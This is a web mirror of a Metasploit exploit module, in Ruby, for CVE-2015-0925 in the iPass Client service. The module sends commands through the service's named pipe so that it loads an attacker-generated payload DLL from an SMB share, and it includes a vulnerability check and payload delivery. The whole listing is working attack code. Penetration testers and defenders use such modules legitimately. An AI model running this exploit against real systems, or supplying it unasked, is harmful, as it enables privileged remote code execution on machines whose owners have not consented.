Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ipass_pipe_exec.rb
32082 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::SMB::Client::Authenticated
10
include Msf::Exploit::Remote::SMB::Server::Share
11
include Msf::Exploit::EXE
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'IPass Control Pipe Remote Command Execution',
18
'Description' => %q{
19
This module exploits a vulnerability in the IPass Client service. This service provides a
20
named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused
21
to force the service to load a DLL from a SMB share.
22
},
23
'Author' => [
24
'Matthias Kaiser', # Vulnerability discovery
25
'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module
26
],
27
'License' => MSF_LICENSE,
28
'References' => [
29
[ 'CVE', '2015-0925' ],
30
[ 'OSVDB', '117423' ],
31
[ 'BID', '72265' ],
32
[ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],
33
[ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ],
34
],
35
'DefaultOptions' => {
36
'EXITFUNC' => 'process',
37
},
38
'Payload' => {
39
'Space' => 2048,
40
'DisableNops' => true
41
},
42
'Platform' => 'win',
43
'Targets' => [
44
[ 'Windows x32', { 'Arch' => ARCH_X86 } ],
45
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
46
],
47
'Privileged' => true,
48
'DisclosureDate' => '2015-01-21',
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
58
register_options(
59
[
60
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
61
]
62
)
63
64
deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
65
end
66
67
def check
68
echo_value = rand_text_alphanumeric(rand(10) + 10)
69
70
begin
71
response = send_command("System.Echo #{echo_value}")
72
if response =~ Regexp.new(echo_value)
73
return Exploit::CheckCode::Vulnerable
74
else
75
return Exploit::CheckCode::Unknown
76
end
77
rescue Rex::ConnectionError => e
78
vprint_error("Connection failed: #{e.class}: #{e}")
79
return Msf::Exploit::CheckCode::Unknown
80
rescue Rex::Proto::SMB::Exceptions::LoginError => e
81
vprint_error("Error during login: #{e}")
82
return Msf::Exploit::CheckCode::Unknown
83
rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
84
vprint_error(e.to_s)
85
return Msf::Exploit::CheckCode::Unknown
86
end
87
end
88
89
def setup
90
super
91
self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
92
self.share = Rex::Text.rand_text_alpha(5)
93
end
94
95
def primer
96
self.file_contents = generate_payload_dll
97
print_status("File available on #{unc}...")
98
send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")
99
end
100
101
def send_command(command)
102
# The connection is closed after each command, so we have to reopen it
103
connect
104
smb_login
105
pipe = simple.create_pipe('\\IPEFSYSPCPIPE')
106
pipe.write(Rex::Text.to_unicode(command))
107
response = Rex::Text.to_ascii(pipe.read)
108
109
response
110
end
111
112
def exploit
113
begin
114
Timeout.timeout(datastore['SMB_DELAY']) { super }
115
rescue Timeout::Error
116
# do nothing... just finish exploit and stop smb server...
117
end
118
end
119
end
120
121